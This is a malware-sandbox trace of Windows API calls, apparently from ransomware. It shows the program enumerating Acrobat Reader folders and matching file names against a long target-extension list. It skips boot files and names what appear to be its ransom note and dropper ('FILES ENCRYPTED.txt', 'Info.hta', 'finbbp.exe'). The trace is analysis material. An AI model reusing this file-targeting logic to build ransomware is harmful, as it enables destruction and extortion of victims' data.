lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0271.635] lstrlenW (lpString=".dwg") returned 4 [0271.636] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0271.636] lstrlenW (lpString=".dwt") returned 4 [0271.636] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0271.636] lstrlenW (lpString=".dx") returned 3 [0271.636] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0271.636] lstrlenW (lpString=".dxf") returned 4 [0271.636] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0271.636] lstrlenW (lpString=".edml") returned 5 [0271.636] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0271.636] lstrlenW (lpString=".efd") returned 4 [0271.636] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0271.636] lstrlenW (lpString=".elf") returned 4 [0271.636] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0271.636] lstrlenW (lpString=".emf") returned 4 [0271.636] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0271.636] lstrlenW (lpString=".emz") returned 4 [0271.636] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0271.636] lstrlenW (lpString=".epf") returned 4 [0271.636] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0271.636] lstrlenW (lpString=".eps") returned 4 [0271.636] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0271.636] lstrlenW (lpString=".epsf") returned 5 [0271.636] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0271.637] lstrlenW (lpString=".epsp") returned 5 [0271.637] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0271.637] lstrlenW (lpString=".erf") returned 4 [0271.637] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0271.637] lstrlenW (lpString=".exr") returned 4 [0271.637] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0271.637] lstrlenW (lpString=".f4v") returned 4 [0271.637] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0271.637] lstrlenW (lpString=".fido") returned 5 [0271.637] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0271.637] lstrlenW (lpString=".flm") returned 4 [0271.637] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0271.637] lstrlenW (lpString=".flv") returned 4 [0271.637] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0271.637] lstrlenW (lpString=".frm") returned 4 [0271.637] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0271.637] lstrlenW (lpString=".fxg") returned 4 [0271.637] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0271.637] lstrlenW (lpString=".geo") returned 4 [0271.637] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0271.637] lstrlenW (lpString=".gif") returned 4 [0271.638] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0271.638] lstrlenW (lpString=".grs") returned 4 [0271.638] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0271.638] lstrlenW (lpString=".gz") returned 3 [0271.638] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0271.638] lstrlenW (lpString=".h") returned 2 [0271.638] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0271.638] lstrlenW (lpString=".hdr") returned 4 [0271.638] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0271.638] lstrlenW (lpString=".hpp") returned 4 [0271.638] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0271.641] lstrlenW (lpString=".hta") returned 4 [0271.641] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0271.641] lstrlenW (lpString=".htc") returned 4 [0271.641] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0271.641] lstrlenW (lpString=".htm") returned 4 [0271.641] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0271.641] lstrlenW (lpString=".html") returned 5 [0271.641] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0271.641] lstrlenW (lpString=".icb") returned 4 [0271.641] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0271.641] lstrlenW (lpString=".ics") returned 4 [0271.641] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0271.641] lstrlenW (lpString=".iff") returned 4 [0271.641] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0271.641] lstrlenW (lpString=".inc") returned 4 [0271.641] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0271.641] lstrlenW (lpString=".indd") returned 5 [0271.641] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0271.642] lstrlenW (lpString=".ini") returned 4 [0271.642] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0271.642] lstrlenW (lpString=".iqy") returned 4 [0271.642] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0271.642] lstrlenW (lpString=".j2c") returned 4 [0271.642] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0271.642] lstrlenW (lpString=".j2k") returned 4 [0271.642] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0271.642] lstrlenW (lpString=".java") returned 5 [0271.642] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0271.642] lstrlenW (lpString=".jp2") returned 4 [0271.642] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0271.642] lstrlenW (lpString=".jpc") returned 4 [0271.642] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0271.642] lstrlenW (lpString=".jpe") returned 4 [0271.642] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0271.642] lstrlenW (lpString=".jpeg") returned 5 [0271.642] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0271.642] lstrlenW (lpString=".jpf") returned 4 [0271.642] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0271.642] lstrlenW (lpString=".jpg") returned 4 [0271.642] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0271.642] lstrlenW (lpString=".jpx") returned 4 [0271.642] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0271.643] lstrlenW (lpString=".js") returned 3 [0271.643] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0271.643] lstrlenW (lpString="ui-strings.js") returned 13 [0271.643] lstrlenW (lpString=".love$") returned 6 [0271.643] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0271.643] lstrlenW (lpString="ui-strings.js") returned 13 [0271.643] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0271.643] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0271.643] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0271.643] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0271.643] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0271.643] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0271.643] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0271.643] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0271.643] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\ui-strings.js") returned 133 [0271.643] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x78b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0271.643] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0271.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0271.644] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0271.644] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz") returned 119 [0271.644] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz") returned 1 [0271.644] lstrlenW (lpString="cs-cz") returned 5 [0271.644] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="cs-cz") returned -1 [0271.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0271.644] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz") returned 119 [0271.644] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315c30 [0271.644] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.645] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.645] lstrlenW (lpString="ui-strings.js") returned 13 [0271.645] lstrlenW (lpString=".1cd") returned 4 [0271.645] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0271.645] lstrlenW (lpString=".3ds") returned 4 [0271.645] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0271.645] lstrlenW (lpString=".3fr") returned 4 [0271.645] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0271.645] lstrlenW (lpString=".3g2") returned 4 [0271.645] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0271.645] lstrlenW (lpString=".3gp") returned 4 [0271.645] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0271.645] lstrlenW (lpString=".7z") returned 3 [0271.645] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0271.645] lstrlenW (lpString=".accda") returned 6 [0271.645] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0271.645] lstrlenW (lpString=".accdb") returned 6 [0271.645] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0271.645] lstrlenW (lpString=".accdc") returned 6 [0271.645] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0271.645] lstrlenW (lpString=".accde") returned 6 [0271.645] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0271.646] lstrlenW (lpString=".accdt") returned 6 [0271.646] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0271.646] lstrlenW (lpString=".accdw") returned 6 [0271.646] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0271.646] lstrlenW (lpString=".adb") returned 4 [0271.646] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0271.646] lstrlenW (lpString=".adp") returned 4 [0271.646] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0271.646] lstrlenW (lpString=".ai") returned 3 [0271.646] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0271.646] lstrlenW (lpString=".ai3") returned 4 [0271.646] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0271.646] lstrlenW (lpString=".ai4") returned 4 [0271.646] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0271.646] lstrlenW (lpString=".ai5") returned 4 [0271.646] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0271.646] lstrlenW (lpString=".ai6") returned 4 [0271.646] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0271.646] lstrlenW (lpString=".ai7") returned 4 [0271.646] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0271.646] lstrlenW (lpString=".ai8") returned 4 [0271.646] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0271.646] lstrlenW (lpString=".anim") returned 5 [0271.646] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0271.647] lstrlenW (lpString=".arw") returned 4 [0271.647] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0271.647] lstrlenW (lpString=".as") returned 3 [0271.647] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0271.647] lstrlenW (lpString=".asa") returned 4 [0271.647] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0271.647] lstrlenW (lpString=".asc") returned 4 [0271.647] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0271.647] lstrlenW (lpString=".ascx") returned 5 [0271.647] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0271.647] lstrlenW (lpString=".asm") returned 4 [0271.647] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0271.647] lstrlenW (lpString=".asmx") returned 5 [0271.647] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0271.647] lstrlenW (lpString=".asp") returned 4 [0271.647] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0271.647] lstrlenW (lpString=".aspx") returned 5 [0271.648] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0271.648] lstrlenW (lpString=".asr") returned 4 [0271.648] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0271.648] lstrlenW (lpString=".asx") returned 4 [0271.648] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0271.648] lstrlenW (lpString=".avi") returned 4 [0271.648] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0271.648] lstrlenW (lpString=".avs") returned 4 [0271.648] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0271.648] lstrlenW (lpString=".backup") returned 7 [0271.648] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0271.648] lstrlenW (lpString=".bak") returned 4 [0271.648] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0271.648] lstrlenW (lpString=".bay") returned 4 [0271.648] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0271.648] lstrlenW (lpString=".bd") returned 3 [0271.648] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0271.648] lstrlenW (lpString=".bin") returned 4 [0271.648] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0271.648] lstrlenW (lpString=".bmp") returned 4 [0271.648] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0271.649] lstrlenW (lpString=".bz2") returned 4 [0271.649] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0271.649] lstrlenW (lpString=".c") returned 2 [0271.649] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0271.649] lstrlenW (lpString=".cdr") returned 4 [0271.649] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0271.649] lstrlenW (lpString=".cer") returned 4 [0271.649] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0271.649] lstrlenW (lpString=".cf") returned 3 [0271.649] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0271.649] lstrlenW (lpString=".cfc") returned 4 [0271.649] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0271.649] lstrlenW (lpString=".cfm") returned 4 [0271.649] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0271.649] lstrlenW (lpString=".cfml") returned 5 [0271.649] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0271.649] lstrlenW (lpString=".cfu") returned 4 [0271.649] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0271.649] lstrlenW (lpString=".chm") returned 4 [0271.649] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0271.650] lstrlenW (lpString=".cin") returned 4 [0271.650] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0271.650] lstrlenW (lpString=".class") returned 6 [0271.650] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0271.650] lstrlenW (lpString=".clx") returned 4 [0271.650] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0271.650] lstrlenW (lpString=".config") returned 7 [0271.650] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0271.650] lstrlenW (lpString=".cpp") returned 4 [0271.650] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0271.650] lstrlenW (lpString=".cr2") returned 4 [0271.650] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0271.650] lstrlenW (lpString=".crt") returned 4 [0271.650] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0271.650] lstrlenW (lpString=".crw") returned 4 [0271.650] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0271.650] lstrlenW (lpString=".cs") returned 3 [0271.650] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0271.650] lstrlenW (lpString=".css") returned 4 [0271.650] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0271.651] lstrlenW (lpString=".csv") returned 4 [0271.651] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0271.651] lstrlenW (lpString=".cub") returned 4 [0271.651] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0271.651] lstrlenW (lpString=".dae") returned 4 [0271.651] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0271.651] lstrlenW (lpString=".dat") returned 4 [0271.651] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0271.651] lstrlenW (lpString=".db") returned 3 [0271.651] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0271.651] lstrlenW (lpString=".dbf") returned 4 [0271.651] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0271.651] lstrlenW (lpString=".dbx") returned 4 [0271.651] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0271.651] lstrlenW (lpString=".dc3") returned 4 [0271.651] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0271.651] lstrlenW (lpString=".dcm") returned 4 [0271.652] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0271.652] lstrlenW (lpString=".dcr") returned 4 [0271.652] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0271.652] lstrlenW (lpString=".der") returned 4 [0271.652] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0271.652] lstrlenW (lpString=".dib") returned 4 [0271.652] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0271.652] lstrlenW (lpString=".dic") returned 4 [0271.652] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0271.652] lstrlenW (lpString=".dif") returned 4 [0271.652] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0271.652] lstrlenW (lpString=".divx") returned 5 [0271.652] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0271.652] lstrlenW (lpString=".djvu") returned 5 [0271.652] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0271.652] lstrlenW (lpString=".dng") returned 4 [0271.652] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0271.652] lstrlenW (lpString=".doc") returned 4 [0271.652] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0271.652] lstrlenW (lpString=".docm") returned 5 [0271.652] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0271.653] lstrlenW (lpString=".docx") returned 5 [0271.653] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0271.653] lstrlenW (lpString=".dot") returned 4 [0271.653] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0271.653] lstrlenW (lpString=".dotm") returned 5 [0271.653] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0271.653] lstrlenW (lpString=".dotx") returned 5 [0271.653] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0271.653] lstrlenW (lpString=".dpx") returned 4 [0271.653] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0271.653] lstrlenW (lpString=".dqy") returned 4 [0271.653] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0271.653] lstrlenW (lpString=".dsn") returned 4 [0271.653] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0271.653] lstrlenW (lpString=".dt") returned 3 [0271.653] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0271.653] lstrlenW (lpString=".dtd") returned 4 [0271.653] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0271.653] lstrlenW (lpString=".dwg") returned 4 [0271.653] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0271.653] lstrlenW (lpString=".dwt") returned 4 [0271.653] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0271.653] lstrlenW (lpString=".dx") returned 3 [0271.653] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0271.653] lstrlenW (lpString=".dxf") returned 4 [0271.653] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0271.654] lstrlenW (lpString=".edml") returned 5 [0271.654] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0271.654] lstrlenW (lpString=".efd") returned 4 [0271.654] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0271.654] lstrlenW (lpString=".elf") returned 4 [0271.654] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0271.654] lstrlenW (lpString=".emf") returned 4 [0271.654] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0271.654] lstrlenW (lpString=".emz") returned 4 [0271.654] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0271.654] lstrlenW (lpString=".epf") returned 4 [0271.654] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0271.654] lstrlenW (lpString=".eps") returned 4 [0271.654] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0271.654] lstrlenW (lpString=".epsf") returned 5 [0271.654] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0271.654] lstrlenW (lpString=".epsp") returned 5 [0271.654] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0271.654] lstrlenW (lpString=".erf") returned 4 [0271.654] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0271.654] lstrlenW (lpString=".exr") returned 4 [0271.654] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0271.654] lstrlenW (lpString=".f4v") returned 4 [0271.654] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0271.655] lstrlenW (lpString=".fido") returned 5 [0271.655] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0271.655] lstrlenW (lpString=".flm") returned 4 [0271.655] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0271.655] lstrlenW (lpString=".flv") returned 4 [0271.655] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0271.655] lstrlenW (lpString=".frm") returned 4 [0271.655] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0271.655] lstrlenW (lpString=".fxg") returned 4 [0271.655] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0271.655] lstrlenW (lpString=".geo") returned 4 [0271.655] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0271.655] lstrlenW (lpString=".gif") returned 4 [0271.655] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0271.655] lstrlenW (lpString=".grs") returned 4 [0271.655] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0271.655] lstrlenW (lpString=".gz") returned 3 [0271.655] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0271.655] lstrlenW (lpString=".h") returned 2 [0271.655] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0271.655] lstrlenW (lpString=".hdr") returned 4 [0271.655] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0271.655] lstrlenW (lpString=".hpp") returned 4 [0271.655] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0271.655] lstrlenW (lpString=".hta") returned 4 [0271.655] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0271.656] lstrlenW (lpString=".htc") returned 4 [0271.656] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0271.656] lstrlenW (lpString=".htm") returned 4 [0271.656] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0271.656] lstrlenW (lpString=".html") returned 5 [0271.656] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0271.656] lstrlenW (lpString=".icb") returned 4 [0271.656] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0271.656] lstrlenW (lpString=".ics") returned 4 [0271.656] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0271.656] lstrlenW (lpString=".iff") returned 4 [0271.656] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0271.656] lstrlenW (lpString=".inc") returned 4 [0271.656] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0271.656] lstrlenW (lpString=".indd") returned 5 [0271.656] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0271.656] lstrlenW (lpString=".ini") returned 4 [0271.656] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0271.656] lstrlenW (lpString=".iqy") returned 4 [0271.656] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0271.656] lstrlenW (lpString=".j2c") returned 4 [0271.656] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0271.656] lstrlenW (lpString=".j2k") returned 4 [0271.656] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0271.656] lstrlenW (lpString=".java") returned 5 [0271.657] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0271.657] lstrlenW (lpString=".jp2") returned 4 [0271.657] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0271.657] lstrlenW (lpString=".jpc") returned 4 [0271.657] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0271.657] lstrlenW (lpString=".jpe") returned 4 [0271.657] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0271.657] lstrlenW (lpString=".jpeg") returned 5 [0271.657] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0271.657] lstrlenW (lpString=".jpf") returned 4 [0271.657] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0271.657] lstrlenW (lpString=".jpg") returned 4 [0271.657] 